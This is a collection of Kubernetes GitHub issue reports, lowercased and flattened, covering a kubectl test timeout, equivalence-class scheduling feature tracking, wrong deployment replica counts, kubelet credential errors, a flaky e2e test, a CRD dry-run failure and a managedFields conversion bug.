<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r pkg/kubectl/cmd/resource test failed\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make test what=./pkg/kubectl/cmd/resource\r \r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  1127 16:25:40  running tests without code coverage\r panic: test timed out after 2m0s\r \r goroutine 74  running :\r testing.startalarm.func1  \r \t/usr/lib/google-golang/src/testing/testing.go:1160 +0xf9\r created by time.gofunc\r \t/usr/lib/google-golang/src/time/sleep.go:170 +0x44\r \r goroutine 1  chan receive :\r testing.  t .run 0xc4205661e0, 0x1c50f3e, 0xe, 0x1ce4120, 0x2bd0201 \r \t/usr/lib/google-golang/src/testing/testing.go:790 +0x2fc\r testing.runtests.func1 0xc4205661e0 \r \t/usr/lib/google-golang/src/testing/testing.go:1006 +0x64\r testing.trunner 0xc4205661e0, 0xc4207cfde0 \r \t/usr/lib/google-golang/src/testing/testing.go:746 +0xd0\r testing.runtests 0xc42011ea80, 0x2bc4fa0, 0x18, 0x18, 0xc4207cfe78 \r \t/usr/lib/google-golang/src/testing/testing.go:1004 +0x2d8\r testing.  m .run 0xc4210bbf18, 0x52927d \r \t/usr/lib/google-golang/src/testing/testing.go:923 +0x111\r main.main  \r \tk8s.io/kubernetes/pkg/kubectl/cmd/resource/_test/_testmain.go:90 +0xdb\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x2bd0600 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r \r goroutine 35  syscall, 2 minutes :\r os/signal.signal_recv 0x0 \r \t/usr/lib/google-golang/src/runtime/sigqueue.go:131 +0xa6\r os/signal.loop  \r \t/usr/lib/google-golang/src/os/signal/signal_unix.go:22 +0x22\r created by os/signal.init.0\r \t/usr/lib/google-golang/src/os/signal/signal_unix.go:28 +0x41\r \r goroutine 53  select :\r net/http.  transport .getconn 0xc4205664b0, 0xc421c1f290, 0x0, 0xc42164f3e0, 0x5, 0xc42164f420, 0x12, 0x0, 0x0, 0xc42005dc00 \r \t/usr/lib/google-golang/src/net/http/transport.go:948 +0x5bf\r net/http.  transport .roundtrip 0xc4205664b0, 0xc421abd300, 0xd, 0xc422ea38f0, 0x27 \r \t/usr/lib/google-golang/src/net/http/transport.go:400 +0x6a6\r k8s.io/kubernetes/vendor/k8s.io/client-go/transport.  bearerauthroundtripper .roundtrip 0xc4223103c0, 0xc421abd300, 0xa, 0xc420b92980, 0x35 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/transport/round_trippers.go:315 +0x186\r k8s.io/kubernetes/vendor/k8s.io/client-go/transport.  useragentroundtripper .roundtrip 0xc422310420, 0xc421abd200, 0xc422310420, 0x0, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/transport/round_trippers.go:193 +0x10c\r net/http.send 0xc421abd100, 0x29fab80, 0xc422310420, 0x0, 0x0, 0x0, 0xc4231b5030, 0x0, 0xc420e54cb8, 0x1 \r \t/usr/lib/google-golang/src/net/http/client.go:249 +0x1a9\r net/http.  client .send 0xc420fc06f0, 0xc421abd100, 0x0, 0x0, 0x0, 0xc4231b5030, 0x0, 0x1, 0xc420e54d40 \r \t/usr/lib/google-golang/src/net/http/client.go:173 +0xfd\r net/http.  client .do 0xc420fc06f0, 0xc421abd100, 0x0, 0x1a, 0x0 \r \t/usr/lib/google-golang/src/net/http/client.go:602 +0x28d\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .request 0xc420c9c900, 0xc420e54fa8, 0x0, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:663 +0x2ab\r k8s.io/kubernetes/vendor/k8s.io/client-go/rest.  request .do 0xc420c9c900, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/rest/request.go:735 +0xb7\r k8s.io/kubernetes/vendor/k8s.io/client-go/discovery.  discoveryclient .servergroups 0xc4223104a0, 0xc42301d0e0, 0x53, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/discovery/discovery_client.go:128 +0xdb\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  cacheddiscoveryclient .servergroups 0xc4213c31c0, 0x0, 0xc420e55448, 0x68c380 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/cached_discovery.go:122 +0x102\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  cacheddiscoveryclient .serverresources 0xc4213c31c0, 0x1c47c36, 0x4, 0x0, 0x0, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/cached_discovery.go:94 +0x40\r k8s.io/kubernetes/pkg/kubectl/categories.discoveryfilteredexpander.expand 0x29fc140, 0xc42039d800, 0x2ba3c1a15f90, 0xc4213c31c0, 0x1c47c36, 0x4, 0x2, 0xc421acc050, 0xc421acc083, 0xc420e556f0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/categories/categories.go:108 +0xaa\r k8s.io/kubernetes/pkg/kubectl/categories.  discoveryfilteredexpander .expand 0xc4223104c0, 0x1c47c36, 0x4, 0x0, 0x29fb3c0, 0xc421c1efc0, 0x6841f3 \r \t<autogenerated>:1 +0x73\r k8s.io/kubernetes/pkg/kubectl/categories.discoverycategoryexpander.expand 0x29fc1c0, 0xc4223104c0, 0x2ba3c1a15f90, 0xc4213c31c0, 0x1c47c36, 0x4, 0x0, 0xc422cd2c80, 0x1, 0x1 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/categories/categories.go:55 +0x5af\r k8s.io/kubernetes/pkg/kubectl/categories.  discoverycategoryexpander .expand 0xc4223104e0, 0x1c47c36, 0x4, 0x1, 0xc422cd2c80, 0x1, 0x1 \r \t<autogenerated>:1 +0x73\r k8s.io/kubernetes/pkg/kubectl/resource.  builder .replacealiases 0xc422a26480, 0x1c47c36, 0x4, 0xc422323c00, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/builder.go:486 +0x409\r k8s.io/kubernetes/pkg/kubectl/resource.  builder .resourcetypeornameargs 0xc422a26480, 0x1, 0xc422323ca0, 0x2, 0x2, 0x1c4ddd5 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/resource/builder.go:459 +0xc23\r k8s.io/kubernetes/pkg/kubectl/resource.  builder .flatten ... \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/resource/get.go:244\r k8s.io/kubernetes/pkg/kubectl/cmd/resource.  getoptions .run 0xc4200c4240, 0x2a26b80, 0xc4223235a0, 0xc420447b00, 0xc422323ca0, 0x2, 0x2, 0x0, 0x0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/resource/get.go:247 +0x27f\r k8s.io/kubernetes/pkg/kubectl/cmd/resource.newcmdget.func1 0xc420447b00, 0xc422323ca0, 0x2, 0x2 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/resource/get.go:149 +0x115\r k8s.io/kubernetes/pkg/kubectl/cmd/resource.testgetobjects 0xc420f240f0 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/resource/get_test.go:379 +0x40d\r testing.trunner 0xc420f240f0, 0x1ce4120 \r \t/usr/lib/google-golang/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/lib/google-golang/src/testing/testing.go:789 +0x2de\r \r goroutine 72  io wait :\r internal/poll.runtime_pollwait 0x2ba3c1979f00, 0x77, 0xc420042000 \r \t/usr/lib/google-golang/src/runtime/netpoll.go:173 +0x57\r internal/poll.  polldesc .wait 0xc421dc4218, 0x77, 0xc4210b9100, 0x54cadb, 0xc4210b9148 \r \t/usr/lib/google-golang/src/internal/poll/fd_poll_runtime.go:85 +0xae\r internal/poll.  polldesc .waitwrite 0xc421dc4218, 0xc4210b9100, 0xc4210b9180, 0x6a3613 \r \t/usr/lib/google-golang/src/internal/poll/fd_poll_runtime.go:94 +0x3d\r internal/poll.  fd .waitwrite 0xc421dc4200, 0x1ce5e80, 0x2a16ac0 \r \t/usr/lib/google-golang/src/internal/poll/fd_unix.go:403 +0x37\r net.  netfd .connect 0xc421dc4200, 0x2a16ac0, 0xc420d4ea20, 0x0, 0x0, 0x29fb740, 0xc42164f440, 0x0, 0x0, 0x0, ... \r \t/usr/lib/google-golang/src/net/fd_unix.go:152 +0x2b6\r net.  netfd .dial 0xc421dc4200, 0x2a16ac0, 0xc420d4ea20, 0x2a19ae0, 0x0, 0x2a19ae0, 0xc421c1f350, 0x0, 0x6bef7e \r \t/usr/lib/google-golang/src/net/sock_posix.go:142 +0xe9\r net.socket 0x2a16ac0, 0xc420d4ea20, 0x1c475c3, 0x3, 0x2, 0x1, 0x0, 0x0, 0x2a19ae0, 0x0, ... \r \t/usr/lib/google-golang/src/net/sock_posix.go:93 +0x1c0\r net.internetsocket 0x2a16ac0, 0xc420d4ea20, 0x1c475c3, 0x3, 0x2a19ae0, 0x0, 0x2a19ae0, 0xc421c1f350, 0x1, 0x0, ... \r \t/usr/lib/google-golang/src/net/ipsock_posix.go:141 +0x129\r net.dodialtcp 0x2a16ac0, 0xc420d4ea20, 0x1c475c3, 0x3, 0x0, 0xc421c1f350, 0x2bf0c80, 0x0, 0x0 \r \t/usr/lib/google-golang/src/net/tcpsock_posix.go:62 +0xb9\r net.dialtcp 0x2a16ac0, 0xc420d4ea20, 0x1c475c3, 0x3, 0x0, 0xc421c1f350, 0xbe7f4944d65e3f9c, 0x1f9ff72ea3, 0x2bd0280 \r \t/usr/lib/google-golang/src/net/tcpsock_posix.go:58 +0xe4\r net.dialsingle 0x2a16ac0, 0xc420d4ea20, 0xc421dc4100, 0x2a06fc0, 0xc421c1f350, 0x0, 0x0, 0x0, 0x0 \r \t/usr/lib/google-golang/src/net/dial.go:567 +0x3e2\r net.dialserial 0x2a16ac0, 0xc420d4ea20, 0xc421dc4100, 0xc422d4b8b0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0 \r \t/usr/lib/google-golang/src/net/dial.go:535 +0x247\r net.  dialer .dialcontext 0xc4203667e0, 0x2a16a80, 0xc420014208, 0x1c475c3, 0x3, 0xc42164f420, 0x12, 0x0, 0x0, 0x0, ... \r \t/usr/lib/google-golang/src/net/dial.go:417 +0x746\r net.  dialer .dial 0xc4203667e0, 0x1c475c3, 0x3, 0xc42164f420, 0x12, 0x24002301d260, 0x110, 0x110, 0xc422af25a0 \r \t/usr/lib/google-golang/src/net/dial.go:333 +0x75\r net.  dialer .dial-fm 0x1c475c3, 0x3, 0xc42164f420, 0x12, 0xc422d4b850, 0xc420069998, 0x51ab09, 0x60 \r \t/usr/local/google/home/jinga/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/transport/cache.go:71 +0x52\r net/http.  transport .dial 0xc4205664b0, 0x2a16a80, 0xc420014208, 0x1c475c3, 0x3, 0xc42164f420, 0x12, 0xc421519500, 0x0, 0x0, ... \r \t/usr/lib/google-golang/src/net/http/transport.go:887 +0x7b\r net/http.  transport .dialconn 0xc4205664b0, 0x2a16a80, 0xc420014208, 0x0, 0xc42164f3e0, 0x5, 0xc42164f420, 0x12, 0x5994a6, 0x5a1cad48, ... \r \t/usr/lib/google-golang/src/net/http/transport.go:1060 +0x1d62\r net/http.  transport .getconn.func4 0xc4205664b0, 0x2a16a80, 0xc420014208, 0xc421c1f2c0, 0xc42301d1a0 \r \t/usr/lib/google-golang/src/net/http/transport.go:943 +0x78\r created by net/http.  transport .getconn\r \t/usr/lib/google-golang/src/net/http/transport.go:942 +0x393\r \r goroutine 73  select :\r net.  netfd .connect.func2 0x2a16ac0, 0xc420d4ea20, 0xc421dc4200, 0xc42301d380, 0xc42301d320 \r \t/usr/lib/google-golang/src/net/fd_unix.go:129 +0xf2\r created by net.  netfd .connect\r \t/usr/lib/google-golang/src/net/fd_unix.go:128 +0x2a3\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/resource\t120.352s\r make:      test  error 1\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: golang 1.9.2\r

feature description\r - one-line feature description  can be used as a release note : cache scheduling decisions of equivalent pods\r    it has been noted that this feature isn't user-facing, and we may not include it in release notes. \r - primary contact  assignee : @resouer, @misterikkit\r - responsible sigs: @kubernetes/sig-scheduling-feature-requests\r - design proposal link  community repo :  equivalence class based scheduling in kubernetes  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/scheduling/scheduler-equivalence-class.md \r - link to e2e and/or unit tests:  test/e2e/scheduling/equivalence_cache_predicates.go  https://github.com/kubernetes/kubernetes/blob/30b89d830b7fd0827576853d6a0db44b66a90d3d/test/e2e/scheduling/equivalence_cache_predicates.go \r - reviewer s  -  for lgtm  recommend having 2+ reviewers  at least one from code-area owners file  agreed to review. reviewers from multiple companies preferred:  @davidopp, @bsalamat , @erictune, @k82cn, @timothysc, @wojtek-t\r - approver  likely from sig/area to which feature belongs : @davidopp, @wojtek-t\r - feature target  which target equals to which milestone :\r   - alpha already released: 1.8\r   - beta release target: 1.11\r   - stable release target: 1.12\r \r this feature was already implemented by @resouer and is currently in alpha. there is some remaining work to get the feature ready for beta & ga.\r \r     original issue: \r - https://github.com/kubernetes/kubernetes/issues/17390\r \r     remaining issues  will be periodically updated :\r - full integration test is required: https://github.com/kubernetes/kubernetes/issues/56104\r - amend and enable e2e test: https://github.com/kubernetes/kubernetes/pull/56577 issuecomment-348700335\r - fix potential data race:  todo  https://github.com/kubernetes/kubernetes/blob/30b89d8/pkg/scheduler/core/generic_scheduler.go l482 \r - evaluate and fix potential improvements:\r     - speed up invalidate operation  or not  todo   https://github.com/kubernetes/kubernetes/blob/30b89d8/pkg/scheduler/core/generic_scheduler.go l490  \r     - minimize invalidation scope,  todo-1  https://github.com/kubernetes/kubernetes/blob/30b89d8/pkg/scheduler/factory/factory.go l514   todo-2  https://github.com/kubernetes/kubernetes/blob/30b89d8/pkg/scheduler/factory/factory.go l642 \r - compute pod equivalence based on pod properties and not ownerreference.\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r although a pod corresponding to a deployment is running, deployment shows available replicas as 0. even endpoints for the corresponding pod are not updated.\r \r    \r $> kubectl get pods \r \r name                             ready     status    restarts   age\r auth-948361558-5zm1x             1/1       running   0          5m\r data-679254132-9xjw7             1/1       running   0          4d\r filestore-3313145683-ppcwb       1/1       running   4          4d\r gateway-3264304911-2qkvd         1/1       running   0          4d\r le-agent-3375114539-7sn6g        1/1       running   0          4d\r notify-3186042993-0cg31          1/1       running   0          7d\r platform-sync-1801912467-6bm7n   1/1       running   0          4d\r postgres-3469254457-8n7mh        1/1       running   2          4d\r session-redis-2532252450-1htbh   1/1       running   2          4d\r sshd-1770040111-x2z24            1/1       running   1          3d\r \r $> kubectl get deploy\r \r name            desired   current   up-to-date   available   age\r auth            1         1         1            1           22d\r data            1         1         1            0           22d\r filestore       1         1         1            0           22d\r gateway         1         1         1            0           22d\r le-agent        1         1         1            0           22d\r notify          1         1         1            1           22d\r platform-sync   1         1         1            0           22d\r postgres        1         1         1            0           22d\r session-redis   1         1         1            0           22d\r sshd            1         1         1            1           22d\r \r    \r \r \r   what you expected to happen  :\r \r deployment should have available replica as 1 and endpoints should also be updated. \r i tried deleting the controller-manager hoping that it will reconcile all the resources but that didn't work either.\r \r after deleting the pod, it shows up correctly in the deployment.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure, how we ended up in this state. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : server-1.7.5\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r  searched a lot of information, also read a lot of issues, but did not solve \r \r    \r $kubectl get csr\r name                                                   age       requestor           condition\r node-csr-h8zmg3jkrgsnwhwikekvupc5azzfzxo0g8z--y38-qa   1d        kubelet-bootstrap   approved,issued\r node-csr-qhre8elvbpt7xy2c_n1lxjdjovnnyomuxpwdq0zcddw   1d        kubelet-bootstrap   approved,issued\r node-csr-lophq5ylsy4ywkzuzvxpml5-4wrcoivjtrdbtotv8ly   1d        kubelet-bootstrap   approved,issued\r node-csr-scqhw9dv5uiqhjnuxku-iosavdz6bq5zomuzuj3nsjg   2h        kubelet-bootstrap   approved,issued\r    \r \r    \r $kubectl get cs\r name                 status    message              error\r controller-manager   healthy   ok\r scheduler            healthy   ok\r etcd-2               healthy   {\ health\ : \ true\ }\r etcd-0               healthy   {\ health\ : \ true\ }\r etcd-1               healthy   {\ health\ : \ true\ }\r    \r \r    \r $etcdctl cluster-health\r 2018-04-19 17:02:02.115594 i | warning: ignoring servername for user-provided ca for backwards compatibility is deprecated\r 2018-04-19 17:02:02.116354 i | warning: ignoring servername for user-provided ca for backwards compatibility is deprecated\r member 3f1f69a06ce0cf0a is healthy: got healthy result from https://192.168.253.221:2379\r member a0de9d2dac2c0f3d is healthy: got healthy result from https://192.168.253.222:2379\r member edfc94f7bdcb45bc is healthy: got healthy result from https://192.168.253.225:2379\r cluster is healthy\r    \r \r    \r $kubectl get no\r no resources found.\r    \r \r api server logs likes normal\r    \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.062260   13017 wrap.go:42  get /api/v1/nodes?fieldselector=metadata.name%3dnode3&resourceversion=0:  22.866µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.223:45596 \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.062877   13017 wrap.go:42  get /api/v1/services?resourceversion=0:  31.933µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.224:33314 \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.063456   13017 wrap.go:42  get /api/v1/pods?fieldselector=spec.nodename%3dnode3&resourceversion=0:  44.07µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.223:45596 \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.387049   13017 wrap.go:42  get /api/v1/services?resourceversion=0:  31.18µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.221:59302 \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.387707   13017 wrap.go:42  get /api/v1/pods?fieldselector=spec.nodename%3dmaster1&resourceversion=0:  17.173µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.221:59302 \r apr 19 16:55:44 master1 kube-apiserver 13017 : i0419 16:55:44.388807   13017 wrap.go:42  get /api/v1/nodes?fieldselector=metadata.name%3dmaster1&resourceversion=0:  16.545µs  401   kubelet/v1.7.2  linux/amd64  kubernetes/922a86c  192.168.253.221:59302 \r    \r \r kubelet service is running, but logs like this\r    \r apr 19 16:51:08 node3 kubelet 11162 : e0419 16:51:08.611170   11162 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ node3.15267c5e83bc975d\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ node3\ , uid:\ node3\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ nodehasnodiskpressure\ , message:\ node node3 status is now: nodehasnodiskpressure\ , source:v1.eventsource{component:\ kubelet\ , host:\ node3\ }, firsttimestamp:v1.time{time:time.time{sec:63659639069, nsec:290436445, loc:  time.location  0x6d4b760 }}, lasttimestamp:v1.time{time:time.time{sec:63659724668, nsec:607294647, loc:  time.location  0x6d4b760 }}, count:12228, type:\ normal\ }': 'the server has asked for the client to provide credentials  patch events node3.15267c5e83bc975d '  will not retry! \r apr 19 16:51:09 node3 kubelet 11162 : e0419 16:51:09.097537   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: the server has asked for the client to provide credentials  get nodes \r apr 19 16:51:09 node3 kubelet 11162 : e0419 16:51:09.098435   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: the server has asked for the client to provide credentials  get services \r apr 19 16:51:09 node3 kubelet 11162 : e0419 16:51:09.099679   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: the server has asked for the client to provide credentials  get pods \r apr 19 16:51:10 node3 kubelet 11162 : e0419 16:51:10.098962   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: the server has asked for the client to provide credentials  get nodes \r apr 19 16:51:10 node3 kubelet 11162 : e0419 16:51:10.100060   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: the server has asked for the client to provide credentials  get services \r apr 19 16:51:10 node3 kubelet 11162 : e0419 16:51:10.101252   11162 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: the server has asked for the client to provide credentials  get pods \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r  at the beginning, the whole cluster is health, and then a master node is added. all etcd certificates, kubernetes certificates, tokens, etc. are all re-created. this is basically equivalent to rebuilding the cluster, and then the node is crazy to brush the log. \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-22t03:55:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r vmware virtual machine 4c 8g\r    \r - os  e.g. from /etc/os-release :\r    \r centos linux release 7.4.1708  core \r    \r - kernel  e.g.  uname -a  :\r    \r linux master1 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r kuberbetes rpms , manual\r    \r \r - others:\r

flaky jobs:\r    presubmits-kubernetes-blocking pull-kubernetes-integration  https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce&show-stale-tests= \r    sig-api-machinery gce  https://k8s-testgrid.appspot.com/sig-api-machinery gce \r \r    consistency:  92%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r \r    flakiest test :\r   sig-api-machinery  garbage collector should support cascading deletion of custom resources  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63928/pull-kubernetes-e2e-gce/35785 sig-api-machinery-garbage-collector-should-support-cascading-deletion-of-custom-resources \r \r    flakes in the past week:  19  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r    triage link\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&sig=api-machinery&test=garbage%20collector%20should%20support%20cascading%20deletion%20of%20custom%20resources\r \r / /  /sig-api-machinery\r /assign @liggit \r @kubernetes/sig-api-machinery-api-reviews \r \r @liggit  @deads2k  this failure is currently our  2 flake and repros in both presubmits and ci jobs. can either of you please triage as you see fit.

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r i have two resources in one single file : \r \r    yaml\r   crontab.yaml\r \r ---\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: crontabs.stable.example.com\r spec:\r   group: stable.example.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: crontabs\r     singular: crontab\r     kind: crontab\r     shortnames:\r       - ct\r \r ---\r apiversion: stable.example.com/v1\r kind: crontab\r metadata:\r   name: my-new-cron-object\r spec:\r   cronspec: \          /5\ \r   image: my-awesome-cron-image\r   replicas: 3\r    \r \r i want create this resources in one single command  kubectl create  : \r \r    \r customresourcedefinition.apiextensions.k8s.io \ crontabs.stable.example.com\  created  dry run \r error: unable to recognize \ crontab.yaml\ : no matches for kind \ crontab\  in version \ stable.example.com/v1\ \r    \r \r   what you expected to happen  :\r \r    \r customresourcedefinition.apiextensions.k8s.io \ crontabs.stable.example.com\  created  dry run \r crontab.stable.example.com \ my-new-cron-object\  created  dry run \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r kubectl --dry-run=true create -f crontab.yaml\r    \r \r   anything else we need to know?  :\r  \r helm hooks doesn't work either : \r \r - https://pastebin.com/raw/gzq3xwhz\r - https://pastebin.com/raw/kampajjy\r \r   environment  :\r - kubernetes version:\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os:  arch linux\r - kernel: linux arch 4.16.11-1-arch\r - install tools: minikube\r \r 

dns is basically non-optional at this point, and this is more fault-tolerant and performant.  consider.

found by failing testapplyconvertsmanagedfieldsversion test in https://github.com/kubernetes/kubernetes/pull/70672  https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/pull/70672/pull-kubernetes-integration/1125470649859444738/ \r \r it seems that conversion depends on schema info that is collected from  served  api versions only. however, managedfields stores data in etcd from rest versions served in previous releases which may no longer be served. \r \r that means that we have to be able to deal with managedfields persisted via api calls to versions that are no longer served, but which we still have and understand conversions for.\r \r /cc @jennybuckley @apelisse \r  /wg apply\r /

